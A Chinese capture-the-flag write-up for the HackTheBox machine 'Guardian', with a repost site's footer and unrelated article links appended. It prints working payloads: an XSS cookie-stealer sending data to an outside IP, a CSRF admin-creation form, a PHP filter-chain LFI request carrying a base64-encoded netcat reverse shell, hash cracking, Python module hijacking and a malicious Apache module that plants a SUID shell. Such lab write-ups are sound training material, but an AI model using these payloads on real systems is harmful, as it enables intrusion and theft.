HTB 赛季8靶场 - Guardian

各位好,最近我的kali崩掉了,崩掉了,建议大家避K 番茄C盘瘦身,这家伙修改了我的avrt.dll文件,导致virtualbox不接受我的avrt.dll文件的签名了,从而导致virtualbox的虚拟机环境全崩无法开机。弄了几天,真是造孽啊!
![[Guardian.png]]

nmap扫描在这里插入图片描述

nmap -F 10.129.161.67 --min-rate=1000 -A 

![[Pasted image 20250902202718.png]]

目录扫描80端口

dirsearch -u http://portal.guardian.htb

PHP composer 编译信息泄露

发现了installed.json。在文件中我们发现phpoffice/math 2025年爆出漏洞。https://github.com/advisories/GHSA-42hm-pq2f-3r7m。phpoffice/spreadsheet 2025年爆出 XSS漏洞和SSRF漏洞。

http://portal.guardian.htb/vendor/composer/installed.json

![[Pasted image 20250902211826.png]]

浏览80端口

GU2024001

![[Pasted image 20250902202740.png]]

在80端口我们还发现默认密码

GU1234

![[Pasted image 20250902202840.png]]

我们将密码喷洒进入到了学生的Portal
![[Pasted image 20250902212734.png]]

进一步攻击发现IDOR漏洞我们发现admin和jamil.enockson的聊天记录,并窃取密码。聊天内容里面说是gitea的密码。

jamil.enockson/DHsNnk3V503

![[Pasted image 20250902213150.png]]

![[Pasted image 20250902213656.png]]

我们尝试访问gitea.guardian.htb竟然成功了!
![[Pasted image 20250902214409.png]]

我们查明了系统版本信息,当前gitea貌似不存在公开漏洞。
![[Pasted image 20250902214608.png]]

我们使用账号登陆系统

jamil.enockson@guardian.htb / DHsNnk3V503

![[Pasted image 20250902214731.png]]

我们看到了两个网站的源码,很快我们就发现了一个密码

root / Gu4rd14n_un1_1s_th3_b3st

![[Pasted image 20250902225252.png]]

PHPoffice 2025 年漏洞- XSS 漏洞窃取 Cookies

绕过xlsx文件的工作表长度限制

我们阅读源码发现学生的上传接口不存在逻辑漏洞,但老师的view-submissions.php接口调用了phpoffice/spreadsheet工具,如我们前面所述,我们了解到这个工具存在SSRF和XSS漏洞,我们尝试XSS。目前word,wps等软件已经限制了sheet的字数长度,所以我们需要去这个网站https://www.treegrid.com/FSheet

<script>fetch('http://10.10.16.5/steal?cookie=' + btoa(document.cookie));</script>

![[Pasted image 20250903224122.png]]

我们成功获取到老师的cookie
![[Pasted image 20250903224204.png]]

PHPSESSID=g9s11233qe3c2ud0qsghouq4c9

CSRF漏洞借用admin账户创建管理员账户

我们发现老师有notice,是和admin交流的地方,接口位置在http://portal.guardian.htb/lecturer/notices/create.php
![[Pasted image 20250903225732.png]]

我们的链接会被admin很快的观看,这里基本就是可以让admin执行任意js代码的意思,所以我们故技重施,尝试窃取他的cookie,很可惜没能成功,因为他访问我的时候没有携带PHPSESSID。那么我们尝试进行CSRF攻击,借助admin的浏览器,来完成用户创建操作。首先阅读admin/createuser.php。
![[Pasted image 20250903230224.png]]

我们了解到,我们需要找到csrf_token和js构造post请求的办法。经过努力我们构造好了payload。

<form id="myForm" action="http://portal.guardian.htb/admin/createuser.php" method="post" style="display: none;">  
<input type="hidden" name="csrf_token" value="6fa73396177651d363cbf46f3c1ae63c">  
<input type="hidden" name="username" value="ydx">
<input type="hidden" name="password" value="ydx666">  
<input type="hidden" name="full_name" value="ydx">  
<input type="hidden" name="email" value="ydx@123.com">  
<input type="hidden" name="dob" value="ydx666">  
<input type="hidden" name="address" value="ydx666@123.com">  
<input type="hidden" name="user_role" value="admin">      
</form>
<script> window.onload = function() { document.getElementById('myForm').submit(); }; </script>

把他保存为pwn.html并且开启python 的http服务器

python -m http.server 80

然后我们将而恶意页面的链接发送给admin。过一会儿我们的python服务器就会有反应,然后登录到portal即可。很显然我们成功了
![[Pasted image 20250903233002.png]]

php_filter_chain_generator.py绕过编码限制

前面我们已经发现了report.php接口使用了危险的include函数。我们可以使用php伪协议完成攻击。我们使用php_filter_chain_generator.py完成payload的生成

python php_filter_chain_generator.py --chain '<?php eval($_POST["a"]);?>'

![[Pasted image 20250904001513.png]]

复制这个生成的payload,这相当于我们向页面写入了<?php eval($_POST[“a”]);?>,然后我们构造相应的代码,进行反连。

POST /admin/reports.php?report=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp,system.php HTTP/1.1
Host: portal.guardian.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=48bj7hhhs1a21o1t3tmbcb8ddu
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 406a=shell_exec("echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAxMC4xMC4xNi4xMCA5MDAxID4vdG1wL2Y= | base64 -d | bash");

我们成功获得shell
![[Pasted image 20250904094832.png]]

理解源码破解数据库密码

进入mysql窃取用户密码

mysql -h127.0.0.1 -uroot -pGu4rd14n_un1_1s_th3_b3st -e 'USE guardiandb;SHOW TABLES;SELECT username,password_hash from users;'

![[Pasted image 20250904100705.png]]

我们查看admin/createuser.php发现其和数据库的交互方式,发现他是将password和salt连在一起后,进行SHA256进行加密。
![[Pasted image 20250904100816.png]]

hashcat组合攻击模式破解密码

下面我们希望使用hashcat组合来破解密码,所以我们需要提前编写好salt.txt文件

8Sb)tM1vs1SS

我们编写好salt.txt文件后,使用hashcat开启组合攻击模式,来破解密码

hashcat -a 1 -m 1400 hash/data.mysql /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt salt.txt

![[Pasted image 20250904101257.png]]

发现两个密码

jamil.enockson / copperhouse56
admin / fakebake

hydra 密码喷洒 -O 适配老旧SSL

我们喷洒一下密码,注意一定要加-O 貌似使用的SSL版本存在一些特殊问题。

hydra -L users.txt -P passwords.txt ssh://10.10.11.84 -V -O

![[Pasted image 20250904102056.png]]

jamil / copperhouse56

劫持python文件依赖提权

我们sudo -l 发现使用了一个python程序,我们对这个程序有没有写权限。
![[Pasted image 20250904102841.png]]

阅读文件内部,我们发现了一些非常有趣的内容,这个python文件使用了几个依赖,我们尝试是否有可能劫持他们。
![[Pasted image 20250904103122.png]]

其中最让我感兴趣的是/opt/scripts/utilities/utils/dp.py和/opt/scripts/utilities/utils/status.py。其中,status.py我们可以写,这将是提权的关键。
![[Pasted image 20250904103247.png]]

那么我们只要能够在system_status函数中加入恶意代码即可。修改后的status.py如下

import platform
import psutil
import os
import sys,socket,os,ptydef system_status():print("System:", platform.system(), platform.release())print("CPU usage:", psutil.cpu_percent(), "%")print("Memory usage:", psutil.virtual_memory().percent, "%")pty.spawn("/usr/bin/bash")   

sudo 模拟为非root用户

下面使用这个代码成功窃取mark的用户权限

sudo -u mark /opt/scripts/utilities/utilities.py system-status

Ghidra将ELF文件反编译成C源码

再次sudo -l 在mark的环境下
![[Pasted image 20250904105144.png]]

这个可能是通往root的宝库,我们将文件传输到kali并进行反编译过程。打开ghidra,创建一个新的项目
![[Pasted image 20250904112234.png]]

将ELF文件导入项目
![[Pasted image 20250904112259.png]]

双击文件
![[Pasted image 20250904112328.png]]

分析文件
![[Pasted image 20250904112422.png]]

打开函数结构
![[Pasted image 20250904112509.png]]

我们在下框将发现函数树
![[Pasted image 20250904112540.png]]

点击main,即可在反编译框发现源代码
![[Pasted image 20250904112612.png]]

下面是源码。

undefined8 main(int param_1,undefined8 *param_2){int iVar1;char *pcVar2;FILE *__stream;long in_FS_OFFSET;char local_1418 [1024];char local_1018 [4104];long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);if (param_1 == 3) {iVar1 = strcmp((char *)param_2[1],"-f");if (iVar1 == 0) {pcVar2 = realpath((char *)param_2[2],local_1018);if (pcVar2 == (char *)0x0) {perror("realpath");}else {iVar1 = starts_with(local_1018,"/home/mark/confs/");if (iVar1 == 0) {fprintf(stderr,"Access denied: config must be inside %s\n","/home/mark/confs/");}else {__stream = fopen(local_1018,"r");if (__stream == (FILE *)0x0) {perror("fopen");}else {do {pcVar2 = fgets(local_1418,0x400,__stream);if (pcVar2 == (char *)0x0) {fclose(__stream);execl("/usr/sbin/apache2ctl","apache2ctl",&DAT_00102072,local_1018,0);perror("execl failed");goto LAB_00101663;}iVar1 = is_unsafe_line(local_1418);} while (iVar1 == 0);fwrite("Blocked: Config includes unsafe directive.\n",1,0x2b,stderr);fclose(__stream);}}}goto LAB_00101663;}}fprintf(stderr,"Usage: %s -f /home/mark/confs/file.conf\n",*param_2);
LAB_00101663:if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return 1;
}

我们进入到is_unsafe_line看看,这个地方会读取文件内容,然后做一些执行,并且只有这个函数通过了,我们才能执行apache2ctl。

undefined8 is_unsafe_line(undefined8 param_1){int iVar1;undefined8 uVar2;long in_FS_OFFSET;char local_1038 [32];char local_1018 [4104];long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);iVar1 = __isoc99_sscanf(param_1,"%31s %1023s",local_1038,local_1018);if (iVar1 != 2) {uVar2 = 0;goto LAB_00101423;}iVar1 = strcmp(local_1038,"Include");if (iVar1 == 0) {
LAB_001013c6:if (local_1018[0] == '/') {iVar1 = starts_with(local_1018,"/home/mark/confs/");if (iVar1 == 0) {fprintf(stderr,"[!] Blocked: %s is outside of %s\n",local_1018,"/home/mark/confs/");uVar2 = 1;goto LAB_00101423;}}}else {iVar1 = strcmp(local_1038,"IncludeOptional");if (iVar1 == 0) goto LAB_001013c6;iVar1 = strcmp(local_1038,"LoadModule");if (iVar1 == 0) goto LAB_001013c6;}uVar2 = 0;
LAB_00101423:if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return uVar2;
}

编写恶意SO文件的 C语言 Shellcode

分析is_unsafe_line,我们发现LAB_00101423是被拦截的情况,而LAB_001013c6是不被拦截情况。继续分析我们发现只要文件中的开头是LoadModule,那么就会直接不被拦截。所以我们可以使用LoadModule来完成so文件的加载和运行。我们构造如下恶意c代码,非常值得注意的是,so文件劫持通常需要精细到函数级别,但这里我们无法定位使用的函数,所以设定成如下样子,即在main函数执行之前执行函数。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>__attribute__((constructor)) void init() {setuid(0);setgid(0);system("cp /bin/bash /tmp/ydx_bash;chmod 777 /tmp/ydx_bash;chmod u+s /tmp/ydx_bash;");
}

构造恶意的conf文件,文件内容为

LoadModule evilmodule /tmp/evil.so

编译C文件为SO文件

使用gcc 构造so文件

gcc /tmp/evil.c -fPIC -shared -o /tmp/evil.so

我们分别将文件传输分别放在下面的路径

/tmp/evil.c
/tmp/evil.so
/home/mark/confs/pwned.conf

执行exploit

sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/pwned.conf

![[Pasted image 20250904151209.png]]

出错也没关系,命令已经执行了
![[Pasted image 20250904151309.png]]

下面进入bash收获flag即可

./ydx_bash -p

![[Pasted image 20250904151351.png]]

试错区域

PHPoffice 2025 年漏洞- SSRF 漏洞

之前是觉得XSS文档位置存在限制,所以放弃了那条道路,走向了SSRF。结果查明之后发现gopher虽然可以和mysql交互,但是必须是mysql没有密码保护的情况。所以吸取经验,下次可以在了解到mysql存在密码的时候,就果断切断这条路。
![[Pasted image 20250903214202.png]]
![[Pasted image 20250903214212.png]]
很可惜他并没有成功地携带他的cookie出来。但不要灰心,我们还有手段。鉴于SSRF成功了,我们还在config/config.php中找到了他的数据库密码。
![[Pasted image 20250903214346.png]]
我们还是Mysql的root用户这自然让我想到我们可以在服务器读写文件。但又有几个问题,第一该SSRF没有回显,所以读文件不可知道文件内容,而写文件我们又没有找到Web根目录的物理路径。但我们可能利用SSRF来完成web admin用户的创建。所以在采取行动之前,我去admin账户的位置查看了一些php文件,其中report.php文件看起来非常有趣。

admin/reports.php

![[Pasted image 20250903214936.png]]
![[Pasted image 20250903214908.png]]
攻击路线确认,我们开始尝试这有些艰难的攻击。其大致思路是,我们通过SSRF&Gopher协议操控mysql添加新Web admin用户。然后登录到admin portal中,使用report.php接口,完成LFI漏洞。下面开始攻击。首先我们去了解创建用户的Mysql query语句。我们可以在admin/createuser.php接口的源码中看到有如下结构。
![[Pasted image 20250903220324.png]]
很好,这个看起我们可以设定username,password_hash,user_role即可。我们去login.php确认一下。可以看到我们给到用户的账号密码,他会根据用户的($username, $hashed_password)去数据库查找,并返回一个$user对象,其中维持Web运行下去的内容有username,user_role,user_id。所以总结来看我们需要设定的内容有username,password_hash,user_role,user_id。我们接下来去models/User.php查看create函数的使用情况。
![[Pasted image 20250903220450.png]]
可以看出来我们还需要构造hash,前面我们发现了config/config.php文件告诉我们了salt

8Sb)tM1vs1SS

所以我们开始构造hash,使用在线网站https://www.symbionts.de/tools/hash/sha256-hash-salt-generator.html

secret:ydx666!
salt:8Sb)tM1vs1SSf1a968745a49cd8d02fee7e8e93310e727d5e4bd3009be2e897c5c7559d96df3

借助上面我们一系列的信息搜集,我们构造了如下语句

#user_id非自增
INSERT INTO users (username, password_hash,user_role,user_id) VALUES ("ydx", "f1a968745a49cd8d02fee7e8e93310e727d5e4bd3009be2e897c5c7559d96df3","admin",999)#user_id自增
INSERT INTO users (username, password_hash,user_role) VALUES ("ydx", "f1a968745a49cd8d02fee7e8e93310e727d5e4bd3009be2e897c5c7559d96df3","admin")

gopherus构造 SSRF攻击Mysql的payload

开始使用gopherus构造 SSRF payload

gopherus --exploit mysql

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/921223.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/921223.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Rust+slint实现一个登录demo

系列文章目录 文章目录系列文章目录前言一、为什么前端选择slint而不是Tauri或者其他GUI框架二、开发工具三、代码编写项目结构前端代码编写后端开发编写运行效果总结前言 本文章就是一个简单rust全栈编程的一个小小的示例供rust新手阅读学习。 一、为什么前端选择slint而不是…

2025前端面试题及答案(详细)

HTML5 的新特性有哪些&#xff1f;简约版本&#xff1a;“HTML5 新特性主要体现在六个方面&#xff1a; 第一&#xff0c;语义化标签&#xff0c;比如 header、footer、nav 等&#xff0c;让页面结构更清晰&#xff1b; 第二&#xff0c;表单增强&#xff0c;新增了 date、emai…

分词器详解(二)

&#x1f50d; 第2层&#xff1a;中等深度&#xff08;15分钟理解&#xff09; 1. 理论基础 1.1 BPE的数学原理 核心思想&#xff1a;通过迭代合并高频字符对构建词汇表 算法形式化&#xff1a; 初始化词汇表 V0{c1,c2,...,cn}V_0 \{c_1, c_2, ..., c_n\}V0​{c1​,c2​,...,c…

嵌入式学习 51单片机(3)

UART 概述通用异步收发器&#xff08;UART&#xff09;是一种全双工、串行、异步通信协议&#xff0c;常用于设备间数据传输。包含两根信号线&#xff1a;RXD&#xff08;接收信号线&#xff09;TXD&#xff08;发送信号线&#xff09;通信方式单工通信方向固定&#xff0c;仅支…

Redis AOF 持久化:银行的 “交易流水单” 管理逻辑

目录 一、AOF 的核心逻辑&#xff1a;“每笔交易都记流水” 二、AOF 的三个步骤&#xff1a;从 “临时记录” 到 “正式归档” 1. 命令追加&#xff1a;记到 “临时小本本” 2. 写入与同步&#xff1a;抄到 “正式流水册” 3. AOF 还原&#xff1a;拿 “流水册” 重放交易…

代码随想录训练营第三十天|LeetCode452.用最少数量的箭引爆气球、LeetCode435.无重叠空间、LeetCode763.划分字母空间

452.用最少数量的箭引爆气球 贪心算法 重合最多的气球射一箭&#xff0c;就是局部用箭数量最少的&#xff0c;全局的用箭数量就是最少的。 首先对二维数组进行排序&#xff0c;这样就可以让气球更加紧凑。 思路&#xff1a;当前气球是否和上一个气球区间重合&#xff0c;如…

数据库事务隔离级别与 MVCC 机制详解

最近在准备面试&#xff0c;正把平时积累的笔记、项目中遇到的问题与解决方案、对核心原理的理解&#xff0c;以及高频业务场景的应对策略系统梳理一遍&#xff0c;既能加深记忆&#xff0c;也能让知识体系更扎实&#xff0c;供大家参考&#xff0c;欢迎讨论。在数据库并发操作…

【Cursor-Gpt-5-high】StackCube-v1 任务训练结果不稳定性的分析

1. Prompt 我是机器人RL方向的博士生正在学习ManiSkill&#xff0c;在学习时我尝试使用相同命令训练同一个任务&#xff0c;但是我发现最终的 success_once 指标并不是相同的&#xff0c;我感到十分焦虑&#xff0c; 我使用的命令如下&#xff1a; python sac.py --env_id"…

文档权限设置不合理会带来哪些问题

文档权限设置不合理会导致信息泄露、合规风险、协作效率下降、责任难以追溯、知识资产流失、员工信任受损、管理成本增加、企业战略受阻。这些问题不仅影响日常运营&#xff0c;更会对企业的长远发展构成威胁。根据IBM《2024数据泄露成本报告》&#xff0c;全球企业因数据泄露的…

Linux网络服务——基础设置

网络服务命令1.ping命令作用&#xff1a;测试网络连通性&#xff08;使用icmp协议&#xff09;常见选项&#xff1a;-c&#xff1a;指定ping的次数&#xff0c;默认无限次-I&#xff1a;指定发送请求的网卡[rootlocalhost ~]# ping 192.168.77.78 -c 4 -I ens160 PING 192.168.…

【multisim汽车尾灯设计】2022-12-1

缘由multisim汽车尾灯设计-学习和成长-CSDN问答 为什么模仿别人做的运行没啥效果&#xff0c;啥也看不明白&#xff0c;数字电子技术要做的任务。

Langchain在调用 LLM 时统计 Token 消耗

关键点解析使用上下文管理器with get_openai_callback() as cb:这一行是核心。cb 会自动收集本次调用的 prompt tokens、completion tokens 以及 total tokens。自动统计在上下文退出时&#xff0c;cb 中已经包含了这次调用的消耗情况&#xff0c;无需额外手动计算。累加到全局…

漫谈《数字图像处理》之实时美颜技术

随着移动拍摄、直播、短视频等场景的普及&#xff0c;用户对 “自然、流畅、可控” 的美颜效果需求日益提升 —— 既要消除皮肤瑕疵、优化面部形态&#xff0c;又需避免 “过度磨皮显假”“变形失真”“实时卡顿” 等问题。实时美颜技术的核心并非单一算法的堆砌&#xff0c;而…

MATLAB基于PSO(粒子群算法)优化BP神经网络和NSGA-II(非支配排序遗传算法)多目标优化

代码实现了一个智能算法优化BP神经网络并进行多目标优化的完整流程&#xff0c;结合了PSO&#xff08;粒子群算法&#xff09;优化BP神经网络和NSGA-II&#xff08;非支配排序遗传算法&#xff09;多目标优化&#xff0c;用于多输入多输出的回归预测问题。 ✅ 一、主要功能 数…

白平衡分块统计数据为什么需要向下采样?

在白平衡处理中&#xff0c;分块统计数据时引入**向下采样&#xff08;Downsampling&#xff09;**&#xff0c;核心目标是在保证统计有效性的前提下&#xff0c;解决“计算效率”与“统计鲁棒性”的矛盾&#xff0c;同时避免局部噪声对白平衡判断的干扰。要理解这一设计的必要…

Deathnote: 1靶场渗透

Deathnote: 1 来自 <Deathnote: 1 ~ VulnHub> 1&#xff0c;将两台虚拟机网络连接都改为NAT模式 2&#xff0c;攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.128&#xff0c;靶场IP192.168.23.129 3&#xff0c;对靶机进行端口…

windows系统服务器测试部署springboot+vue+mysql项目

1. 后端Java应用启动 直接使用命令行启动&#xff08;推荐用于测试&#xff09;&#xff1a; cd C:\Users\Administrator\Desktop\toolset\backed java -jar -Dspring.profiles.activeprod -Dserver.port8083 admin.jar2. 前端静态文件服务 由于你已经有了dist目录&#xff0c;…

Java 与 Docker 的最佳实践

在云原生时代&#xff0c;Docker 已成为应用交付和运行的事实标准。Java 作为企业级开发的主力语言&#xff0c;也需要与容器技术深度结合。然而&#xff0c;Java 程序天然有 JVM 内存管理、启动速度、镜像体积 等特点&#xff0c;如果不做优化&#xff0c;可能导致性能下降甚至…

大数据工程师认证推荐项目:基于Spark+Django的学生创业分析可视化系统技术价值解析

&#x1f496;&#x1f496;作者&#xff1a;计算机编程小央姐 &#x1f499;&#x1f499;个人简介&#xff1a;曾长期从事计算机专业培训教学&#xff0c;本人也热爱上课教学&#xff0c;语言擅长Java、微信小程序、Python、Golang、安卓Android等&#xff0c;开发项目包括大…

【MySQL自学】SQL主键使用误区:你必须知道的关键细节

在日常数据库操作中&#xff0c;主键&#xff08;Primary Key&#xff09;是我们最常打交道的概念之一。然而&#xff0c;许多开发者&#xff0c;尤其是初学者&#xff0c;常常对其存在一些误解。一个非常经典的问题是&#xff1a;“在SQL中&#xff0c;只要用到主键&#xff0…